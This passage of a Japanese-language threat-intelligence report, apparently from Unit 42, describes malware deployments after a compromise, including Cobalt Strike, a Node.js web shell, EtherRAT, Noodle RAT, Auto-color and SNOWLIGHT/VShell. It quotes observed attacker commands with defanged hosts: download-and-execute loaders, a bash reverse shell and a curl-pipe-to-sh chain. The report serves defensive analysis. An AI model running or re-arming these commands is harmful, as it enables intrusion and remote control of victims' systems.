\u30ed\u30fc\u30c0\u30fc\u3084\u305d\u306e\u4ed6\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3088\u3046\u3068\u8a66\u307f\u307e\u3057\u305f\u3002<\/p>\n<p>\u653b\u6483\u8005\u306f\u3053\u308c\u3089\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3092\u8a66\u307f\u307e\u3057\u305f\u304c\u3001\u4e0d\u6b63\u306a\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u306f\u30d6\u30ed\u30c3\u30af\u3055\u308c\u3001\u5b9f\u884c\u306f\u963b\u6b62\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<pre class=\"lang:default decode:true\"># Witnessed commands\r\n## BusyBox\r\n\/bin\/sh -c (cd \/dev;busybox wget hxxp:\/\/31.56.27[.]76\/n2\/x86;chmod 777 x86;.\/x86 reactOnMynuts;busybox wget -q hxxp:\/\/193.34.213[.]150\/nuts\/bolts -O-|sh)\r\n\r\n## Meshagent Directory String\r\nwget -O \/tmp\/meshagent --no-check-certificate hxxps:\/\/72.62.67[.]33\/meshagents?id=w%40Exooh1EQmSgfpvXk%24Kctk3F4RFhqP5EYgH2mHXjcZDuo3H61xfEs%24OKLnWsj6D&amp;installflags=0&amp;meshinstall=6\r\n\r\n# Container Command Usage\r\nrunc --root \/var\/run\/docker\/runtime-runc\/moby --log \/run\/containerd\/io.containerd.runtime.v2.task\/moby\/&lt;IMAGE_HASH&gt;\/log.json --log-format json create --bundle \/run\/containerd\/io.containerd.runtime.v2.task\/moby\/&lt;IMAGE_HASH&gt; --pid-file \/run\/containerd\/io.containerd.runtime.v2.task\/moby\/&lt;IMAGE HASH&gt;\/init.pid &lt;IMAGE_HASH&gt;<\/pre>\n<h3><strong>Cobalt Strike<\/strong><\/h3>\n<p>Unit 42 \u306f\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c bash \u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092\u5229\u7528\u3057\u3066\u3001<a href=\"https:\/\/www.virustotal.com\/gui\/ip-address\/38.162.112.141\/detection\" target=\"_blank\" rel=\"noopener\">Cobalt Strike \u30b5\u30fc\u30d0\u30fc<\/a>\u3068\u601d\u308f\u308c\u308b\u63a5\u7d9a\u5148\u306b\u63a5\u7d9a\u3059\u308b\u306e\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\uff1a<\/p>\n<pre class=\"lang:default decode:true\">bash -c bash -i &gt;&amp; \/dev\/tcp\/38.162.112[.]141\/8899 0&gt;&amp;1<\/pre>\n<p>\uec02\u3055\u3089\u306b\u3001Unit 42 \u306f <span style=\"font-family: 'courier new', courier, monospace;\">154.89.152[.]240<\/span> \u304b\u3089 <span style=\"font-family: 'courier new', courier, monospace;\">check.sh<\/span> \u3068\u3044\u3046\u540d\u524d\u306e bash \u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30ea\u30e2\u30fc\u30c8\u5b9f\u884c\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u56f33\u306b\u793a\u3059\u3088\u3046\u306b\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f a_x64 \u3068\u3044\u3046\u540d\u524d\u306e\u5225\u306e\u30d0\u30a4\u30ca\u30ea\u3092\u540c\u3058\u30a2\u30c9\u30ec\u30b9\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001<span style=\"font-family: 'courier new', courier, monospace;\">rsyslo<\/span> \u3068\u3044\u3046\u540d\u524d\u3067\u4fdd\u5b58\u3057\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001Linux OS \u7528\u306e Cobalt Strike Beacon \u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306e\u62e1\u5f35\u30c4\u30fc\u30eb\u3067\u3042\u308b CrossC2 \u3092\u4f7f\u7528\u3057\u3066\u4f5c\u6210\u3055\u308c\u305f Cobalt Strike \u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u3067\u3042\u308b\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u56f33\u306f Cortex XDR \u3067\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_168472\" aria-describedby=\"caption-attachment-168472\" style=\"width: 1000px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-168472 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-661792-167641-3.png\" alt=\"\u30de\u30eb\u30a6\u30a7\u30a2\u5c55\u958b\u306e\u305f\u3081\u306eCortex XDR\u30d7\u30ed\u30bb\u30b9\u30c4\u30ea\u30fc\u3002\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306b\u306f\u5225\u3005\u306e\u5b9f\u884c\u5206\u5c90\u306b\u3042\u308b2\u3064\u306e\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u304c\u8868\u793a\u3055\u308c\u3066\u3044\u308b\u3002\u30d1\u30b9\u306b\u306f\u8b66\u544a\u8a18\u53f7\u306e\u30a2\u30a4\u30b3\u30f3\u304c\u4ed8\u3044\u3066\u304a\u308a\u3001\u653b\u6483\u30d5\u30ed\u30fc\u3092\u793a\u3057\u3066\u3044\u308b\u3002\" width=\"1000\" height=\"410\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-661792-167641-3.png 1555w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-661792-167641-3-786x322.png 786w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-661792-167641-3-768x315.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-661792-167641-3-1536x630.png 1536w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><figcaption id=\"caption-attachment-168472\" class=\"wp-caption-text\">\u56f33. Cobalt Strike \u5c55\u958b\u306e\u653b\u6483\u30d5\u30ed\u30fc\u3002<\/figcaption><\/figure>\n<p>\u56f34\u306f\u3001Cortex XDR \u306b\u304a\u3051\u308b Cobalt Strike \u6d3b\u52d5\u306e\u30a2\u30e9\u30fc\u30c8\u304c\u3069\u306e\u3088\u3046\u306b\u898b\u3048\u308b\u304b\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_168483\" aria-describedby=\"caption-attachment-168483\" style=\"width: 464px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-168483 size-full lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-664525-167641-4.png\" alt=\"Cortex XDR\u30a2\u30e9\u30fc\u30c8\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u4e00\u90e8\u306e\u60c5\u5831\u306f\u4f0f\u305b\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u30c9\u30ed\u30c3\u30d7\u3055\u308c\u305f\u30d0\u30a4\u30ca\u30ea\u306e\u5b9f\u884c\u306f\u30d6\u30ed\u30c3\u30af\u3055\u308c\u3001\u30a2\u30e9\u30fc\u30c8\u306f\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u3057\u3066\u5206\u985e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\" width=\"464\" height=\"613\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-664525-167641-4.png 464w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-664525-167641-4-333x440.png 333w\" sizes=\"(max-width: 464px) 100vw, 464px\" \/><figcaption id=\"caption-attachment-168483\" class=\"wp-caption-text\">\u56f34. Cobalt Strike \u6d3b\u52d5\u306b\u5bfe\u3059\u308b Cortex XDR \u30a2\u30e9\u30fc\u30c8\u3002<\/figcaption><\/figure>\n<h3><a id=\"post-167641-_pya8nwjcem4l\"><\/a><strong>Web \u30b7\u30a7\u30eb\u6d3b\u52d5<\/strong><\/h3>\n<p>React \u30d5\u30a1\u30a4\u30eb\u30de\u30cd\u30fc\u30b8\u30e3\u30fc (<span style=\"font-family: 'courier new', courier, monospace;\"><a href=\"https:\/\/www.google.com\/search?q=https:\/\/fm.js\/\" target=\"_blank\" rel=\"noopener\">fm.js<\/a><\/span>) \u3092\u88c5\u3063\u305f\u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u306a Web \u30b7\u30a7\u30eb\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u304c\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u308c\u306f<a href=\"https:\/\/raw.githubusercontent.com\/laolierzi-commits\/phpbd\/refs\/heads\/main\/rjs\/filemanager-standalone.js\" target=\"_blank\" rel=\"noopener\"> GitHub<\/a> \u304b\u3089\u76f4\u63a5\u53d6\u5f97\u3055\u308c\u3001\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u95b2\u89a7\u3092\u53ef\u80fd\u306b\u3057\u3066\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3084 API \u30ad\u30fc\u306a\u3069\u306e\u6a5f\u5bc6\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u3092\u53ce\u96c6\u3059\u308b\u3068\u3068\u3082\u306b\u3001\u7d44\u307f\u8fbc\u307f\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u6a5f\u80fd\u3092\u901a\u3058\u3066\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3084\u9867\u5ba2\u30c7\u30fc\u30bf\u306e\u7a83\u53d6\uff08\u30c7\u30fc\u30bf\u6301\u3061\u51fa\u3057\uff09\u3092\u5bb9\u6613\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u30c4\u30fc\u30eb\u306f\u3001\u8ffd\u52a0\u306e\u30d0\u30c3\u30af\u30c9\u30a2\u3084\u30eb\u30fc\u30c8\u30ad\u30c3\u30c8\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3092\u8a31\u53ef\u3059\u308b\u3053\u3068\u3067\u6301\u7d9a\u7684\u306a\u4fb5\u5bb3\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u3001\u4e00\u62ec\u30d5\u30a1\u30a4\u30eb\u524a\u9664\u3084\u76f4\u63a5\u7684\u306a\u30b7\u30b9\u30c6\u30e0\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u3092\u901a\u3058\u3066\u56de\u5fa9\u4e0d\u80fd\u306a\u640d\u5bb3\u3092\u4e0e\u3048\u308b\u80fd\u529b\u3092\u4ed8\u4e0e\u3057\u307e\u3059\u3002<\/p>\n<p>\u30a2\u30af\u30bf\u30fc\u306f\u3001\u30dd\u30fc\u30c8\u306e\u7af6\u5408\u3092\u6392\u9664\u3059\u308b\u305f\u3081\u306b\u65e2\u5b58\u306e node \u30d7\u30ed\u30bb\u30b9\u3092\u5148\u5236\u7684\u306b\u7d42\u4e86\u3055\u305b\u308b\u3053\u3068\u304b\u3089\u30b7\u30fc\u30b1\u30f3\u30b9\u3092\u958b\u59cb\u3057\u3001\u7d9a\u3044\u3066\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u78ba\u8a8d\u3059\u308b\u305f\u3081\u306e\u5b9f\u884c\u691c\u8a3c\u3092\u884c\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">\/tmp <\/span>\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b Node.js Web \u30b7\u30a7\u30eb\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30b9\u30c6\u30fc\u30b8\u30f3\u30b0\u3057\u307e\u3059\u3002\u30d2\u30e5\u30fc\u30ea\u30b9\u30c6\u30a3\u30c3\u30af\u306a\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u9069\u5fdc\u3092\u63a1\u7528\u3057\u3001\u8a2d\u5b9a\u3092\u7e70\u308a\u8fd4\u3057\u5909\u66f4\u3057\u3066\u3055\u307e\u3056\u307e\u306a\u30ea\u30b9\u30cb\u30f3\u30b0\u30dd\u30fc\u30c8\u3092\u5faa\u74b0\u3055\u305b\u3001\u30ed\u30fc\u30ab\u30eb\u306e\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u30dd\u30ea\u30b7\u30fc\u3092\u56de\u907f\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002<\/p>\n<p>\u653b\u6483\u306f <span style=\"font-family: 'courier new', courier, monospace;\">nohup<\/span> \u3092\u4ecb\u3057\u305f\u4e00\u6642\u7684\u306a\u6c38\u7d9a\u6027\u306e\u78ba\u7acb\u3068\u3001\u4e00\u822c\u7684\u306a Web \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3078\u306e\u4e00\u610f\u306e\u691c\u8a3c\u30a2\u30fc\u30c6\u30a3\u30d5\u30a1\u30af\u30c8 (<span style=\"font-family: 'courier new', courier, monospace;\">segawon.txt<\/span>) \u306e\u5c55\u958b\u3067\u7d42\u4e86\u3057\u3001\u5916\u90e8\u304b\u3089\u306e\u4fb5\u5bb3\u306e\u691c\u8a3c\u3068\u30b5\u30fc\u30d0\u30fc\u306e\u30d5\u30a1\u30a4\u30eb\u69cb\u9020\u306e\u30de\u30c3\u30d4\u30f3\u30b0\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">\/bin\/sh -c cd \/tmp &amp;&amp; nohup node fm.js &gt; \/dev\/null 2&gt;&amp;1 &amp; sleep 2,\/bin\/sh -c cd \/tmp &amp;&amp; sed -i 's\/const PORT = [0-9]*\/const PORT = 13373\/' fm.js 2&gt;&amp;1,\/bin\/sh -c cd \/tmp &amp;&amp; sed -i 's\/const PORT = [0-9]*\/const PORT = 3000\/' fm.js 2&gt;&amp;1,\/bin\/sh -c cd \/tmp &amp;&amp; sed -i 's\/const PORT = [0-9]*\/const PORT = 8080\/' fm.js 2&gt;&amp;1,\/bin\/sh -c cd \/tmp &amp;&amp; sed -i 's\/const PORT = [0-9]*\/const PORT = 8888\/' fm.js 2&gt;&amp;1,\/bin\/sh -c cd \/tmp &amp;&amp; sed -i 's\/const PORT = [0-9]*\/const PORT = 9000\/' fm.js 2&gt;&amp;1,\/bin\/sh -c cd \/tmp &amp;&amp; wget -q -O fm.js https:\/\/raw.githubusercontent.com\/laolierzi-commits\/phpbd\/refs\/heads\/main\/rjs\/filemanager-standalone.js 2&gt;&amp;1 &amp;&amp; wc -c fm.js,\/bin\/sh -c echo $((41*271)),\/bin\/sh -c echo 'segawon.id' &gt; \/app\/public\/segawon.txt &amp;&amp; chmod 644 \/app\/public\/segawon.txt,\/bin\/sh -c echo 'segawon.id' &gt; \/app\/web\/public\/segawon.txt &amp;&amp; chmod 644 \/app\/web\/public\/segawon.txt,\/bin\/sh -c echo 'segawon.id' &gt; \/var\/www\/html\/segawon.txt &amp;&amp; chmod 644 \/var\/www\/html\/segawon.txt,\/bin\/sh -c id,\/bin\/sh -c killall -9 node 2&gt;\/dev\/null,\/bin\/sh -c ls -la<\/pre>\n<h3><span style=\"font-weight: 400;\">EtherRAT<\/span><\/h3>\n<p>Unit 42\u306f\u3001\u4ee5\u4e0b\u306e\u6d3b\u52d5\u3092\u884c\u3046EtherRAT\u3068\u4e00\u81f4\u3059\u308b\u6d3b\u52d5\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\uff1a<\/p>\n<ul>\n<li>C2\u89e3\u6c7a\u306e\u305f\u3081\u306b\u30a4\u30fc\u30b5\u30ea\u30a2\u30e0\u30b9\u30de\u30fc\u30c8\u30b3\u30f3\u30c8\u30e9\u30af\u30c8\u3092\u6d3b\u7528<\/li>\n<li>\u8907\u6570\u306e\u72ec\u7acb\u3057\u305fLinux\u6c38\u7d9a\u5316\u30e1\u30ab\u30cb\u30ba\u30e0\u3092\u4f7f\u7528<\/li>\n<li>nodejs.org\u304b\u3089\u72ec\u81ea\u306e<a href=\"https:\/\/nodejs.org\" target=\"_blank\" rel=\"noopener\">Node.js<\/a>\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/li>\n<\/ul>\n<p>\u5317\u671d\u9bae \u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc UNC5342 \u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u914d\u4fe1\u3068\u6697\u53f7\u8cc7\u7523\u306e\u7a83\u53d6\u3092\u4fc3\u9032\u3059\u308b\u305f\u3081\u306b<a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/dprk-adopts-etherhiding\" target=\"_blank\" rel=\"noopener\"> EtherHiding \u3092\u4f7f\u7528\u3057\u3066\u3044\u308b<\/a>\u3068\u5831\u544a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">\/bin\/sh -c echo while :; do (curl -sL http:\/\/193.24.123[.]68:3001\/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o .\/s.sh 2&gt;\/dev\/null || wget -qO .\/s.sh http:\/\/193.24.123[.]68:3001\/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh 2&gt;\/dev\/null || python3 -c \"import urllib.request as u;open('.\/s.sh','wb').write(u.urlopen('http:\/\/193.24.123[.]68:3001\/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())\") &amp;&amp; [ -s .\/s.sh ] &amp;&amp; chmod +x .\/s.sh &amp;&amp; .\/s.sh &amp;&amp; break; sleep 300; done<\/pre>\n<h3><span style=\"font-weight: 400;\">Noodle RAT<\/span><\/h3>\n<p>Unit 42 \u306f\u3001<a href=\"https:\/\/www.virustotal.com\/gui\/file\/33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f\" target=\"_blank\" rel=\"noopener\">Noodle RAT<\/a> \u306e\u5c55\u958b\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306f Windows \u3068 Linux \u306e\u4e21\u65b9\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u3042\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308b\u30d0\u30c3\u30af\u30c9\u30a2\u3067\u3001\u30b9\u30d1\u30a4\u6d3b\u52d5\u3084\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u306b\u5f93\u4e8b\u3059\u308b\u4e2d\u56fd\u8a9e\u570f\u306e\u30b0\u30eb\u30fc\u30d7\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u7591\u3044\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">hxxp:\/\/146.88.129[.]138:5511\/443nb64\r\n\r\ntcp:\/\/vip[.]kof97.lol:443\r\n\r\n192.238.202[.]17<\/pre>\n<h3><a id=\"post-167641-_je9ungwe3zcf\"><\/a><strong>Auto-color<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Unit 42 \u306f\u3001\u3053\u308c\u307e\u3067\u306b\u898b\u3089\u308c\u306a\u304b\u3063\u305f<\/span><a href=\"https:\/\/unit42.paloaltonetworks.com\/new-linux-backdoor-auto-color\/\"> <span style=\"font-weight: 400;\">Auto-color<\/span><\/a><span style=\"font-weight: 400;\"> \u30d0\u30c3\u30af\u30c9\u30a2\u306e\u8907\u6570\u306e\u4e8b\u4f8b\u3092\u8907\u6570\u306e\u74b0\u5883\u3067\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u3064\u3044\u3066\u306f\u3001\u79c1\u305f\u3061\u304c2025\u5e742\u6708\u306b\u6700\u521d\u306b\u516c\u958b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30d0\u30c3\u30af\u30c9\u30a2\u306b\u95a2\u9023\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u540d <\/span><span style=\"font-weight: 400;\">pamssod<\/span><span style=\"font-weight: 400;\"> \u306f\u3001\u6b63\u898f\u306e Pluggable Authentication Module (PAM) \u30e9\u30a4\u30d6\u30e9\u30ea\u306b\u306a\u308a\u3059\u307e\u3057\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Autocolor\u306f\u4ee5\u4e0b\u306e\u65e5\u6642\u3068\u5834\u6240\u3067\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3059\uff1a<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">2025\u5e74\u521d\u982d\uff1a\u30a2\u30b8\u30a2\u304a\u3088\u3073\u5317\u7c73\u306e\u5927\u5b66\u30fb\u653f\u5e9c\u6a5f\u95a2\u3092\u6a19\u7684<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">2025\u5e744\u6708\uff1a\u7c73\u56fd\u7cfb\u5316\u5b66\u4f01\u696d\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">2025\u5e748\u6708\uff1a<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-31324\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">CVE\u20112025\u201131324<\/span><\/a>\u306e\u60aa\u7528\u306b\u304a\u3044\u3066<\/li>\n<\/ul>\n<h3><a id=\"post-167641-_6j15r0aq1uv6\"><\/a><strong>CL-STA-1015 \u306e\u6d3b\u52d5<\/strong><\/h3>\n<p><span style=\"font-weight: 400;\">Unit 42\u306f\u3001CL-STA-1015\u3068\u3057\u3066\u8ffd\u8de1\u3057\u3066\u3044\u308b\u6d3b\u52d5\u30af\u30e9\u30b9\u30bf\u30fc\u3068\u300c\u9ad8\u3044\u78ba\u5ea6\uff08High Confidence\uff09\u300d\u3067\u4e00\u81f4\u3059\u308b\u3068\u8a55\u4fa1\u3055\u308c\u308b\u3001\u4fb5\u5bb3\u5f8c\u306e\u8105\u5a01\u6d3b\u52d5\uff08\u30dd\u30b9\u30c8\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u6d3b\u52d5\uff09\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002Google Threat Intelligence Group\u306b\u3088\u308b\u3068\u3001\u3053\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u4e2d\u56fd\u306e\u56fd\u5bb6\u652f\u63f4\u578b\u30a4\u30cb\u30b7\u30e3\u30eb\u30a2\u30af\u30bb\u30b9\u30d6\u30ed\u30fc\u30ab\u30fc\uff08Initial Access Broker\uff09\u3067\u3042\u308b\u3068\u300c\u4e2d\u7a0b\u5ea6\u306e\u78ba\u5ea6\uff08Medium Confidence\uff09\u300d\u3067\u8a55\u4fa1\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p>\u653b\u6483\u8005\u306f\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u3066\u3001\u30ea\u30e2\u30fc\u30c8 C2 \u30b5\u30fc\u30d0\u30fc\u304b\u3089 <span style=\"font-family: 'courier new', courier, monospace;\">slt<\/span> \u3068\u30e9\u30d9\u30eb\u4ed8\u3051\u3055\u308c\u305f\u60aa\u610f\u3042\u308b\u30b7\u30a7\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u53d6\u5f97\u3057\u3001\u76f4\u3061\u306b\u5b9f\u884c\u3057\u307e\u3057\u305f\u3002\u4ee5\u524d\u306b\u898b\u3089\u308c\u305f\u6d3b\u52d5\u3068\u540c\u69d8\u306b\u3001\u653b\u6483\u8005\u306f <span style=\"font-family: 'courier new', courier, monospace;\">OR<\/span> \u6f14\u7b97\u5b50\u3092\u4f7f\u7528\u3057\u3066\u30d5\u30a7\u30a4\u30eb\u30bb\u30fc\u30d5\u30ed\u30b8\u30c3\u30af\u3092\u63a1\u7528\u3057\u307e\u3057\u305f\uff1a<\/p>\n<ul>\n<li>\u30b7\u30b9\u30c6\u30e0\u306f\u307e\u305a\u3001\u30b9\u30c6\u30eb\u30b9\u6027 (\u51fa\u529b\u3092\u6291\u5236\u3057\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u306b\u5f93\u3046 <span style=\"font-family: 'courier new', courier, monospace;\">-fsSL<\/span>) \u3068\u8010\u969c\u5bb3\u6027 (\u30cf\u30f3\u30b0\u30a2\u30c3\u30d7\u3092\u9632\u3050 <span style=\"font-family: 'courier new', courier, monospace;\">-m180<\/span>) \u306b\u6700\u9069\u5316\u3055\u308c\u305f\u30d5\u30e9\u30b0\u3092\u6301\u3064 <span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span> \u3092\u4f7f\u7528\u3057\u3066\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3092\u8a66\u307f\u307e\u3059\u3002<\/li>\n<li><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">curl<\/span><span style=\"font-weight: 400;\"> \u304c\u5229\u7528\u3067\u304d\u306a\u3044\u304b\u5931\u6557\u3057\u305f\u5834\u5408\u3001\u540c\u69d8\u306e\u30b5\u30a4\u30ec\u30f3\u30c8\u304a\u3088\u3073\u30bf\u30a4\u30e0\u30a2\u30a6\u30c8\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6301\u3064 <\/span><span style=\"font-weight: 400;\">wget<\/span><span style=\"font-weight: 400;\"> \u306b\u81ea\u52d5\u7684\u306b\u30d5\u30a9\u30fc\u30eb\u30d0\u30c3\u30af\u3057\u307e\u3059\u3002<\/span><\/li>\n<li>\u30b3\u30de\u30f3\u30c9\u306f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u76f4\u63a5<span style=\"font-family: 'courier new', courier, monospace;\"> sh<\/span> \u306b\u30d1\u30a4\u30d7\u3059\u308b\u3053\u3068\u3067\u7d42\u4e86\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u30c7\u30a3\u30b9\u30af\u306b\u6c38\u7d9a\u7684\u306a\u30d5\u30a1\u30a4\u30eb\u3092\u66f8\u304d\u8fbc\u3080\u3053\u3068\u306a\u304f\u30e1\u30e2\u30ea\u5185\u3067\u5373\u5ea7\u306b\u5b9f\u884c\u3055\u308c\u308b\u30d5\u30a1\u30a4\u30eb\u30ec\u30b9\u5b9f\u884c\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>\u3053\u308c\u306b\u5bfe\u3059\u308b\u7121\u5bb3\u5316\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\uff1a<\/p>\n<pre class=\"lang:default decode:true\">\/bin\/sh -c (curl -fsSL -m180 hxxp[:]\/\/115.42.60[.]223:61236\/slt||wget -T180 -q hsxp[:]\/\/115.42.60[.]223:61236\/slt)|sh<\/pre>\n<p>\uec02\u4e0a\u8a18\u306e\u30b3\u30de\u30f3\u30c9\u306b\u7d9a\u3044\u3066\u3001SNOWLIGHT \u3068\u4e00\u81f4\u3059\u308b 2 \u3064\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u304c\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u4e0a\u306b\u6b63\u5e38\u306b\u4f5c\u6210\u3055\u308c\u305f\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3001\u5206\u6790\u306e\u7d50\u679c\u3001\u4ee5\u4e0b\u306e VShell \u30b5\u30f3\u30d7\u30eb\u3082\u540c\u3058\u30b5\u30fc\u30d0\u30fc\u4e0a\u306b\u5b58\u5728\u3057\u3066\u3044\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\uff1a<\/p>\n<ul>\n<li>SNOWLIGHT bash \u30b9\u30af\u30ea\u30d7\u30c8:<span style=\"font-family: 'courier new', courier, monospace;\"><a href=\"https:\/\/www.google.com\/search?q=https:\/\/www.virustotal.com\/gui\/file\/a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4\" target=\"_blank\" rel=\"noopener\">a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4<\/a><\/span><\/li>\n<li>SNOWLIGHT: <span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4a<\/span><\/li>\n<li>VShell: <span style=\"font-family: 'courier new', courier, monospace;\"><a href=\"https:\/\/www.virustotal.com\/gui\/file\/4745703f395282a0687def2c7dcf82ed1683f3128bef1686bd74c966273ce1c5\" target=\"_blank\" 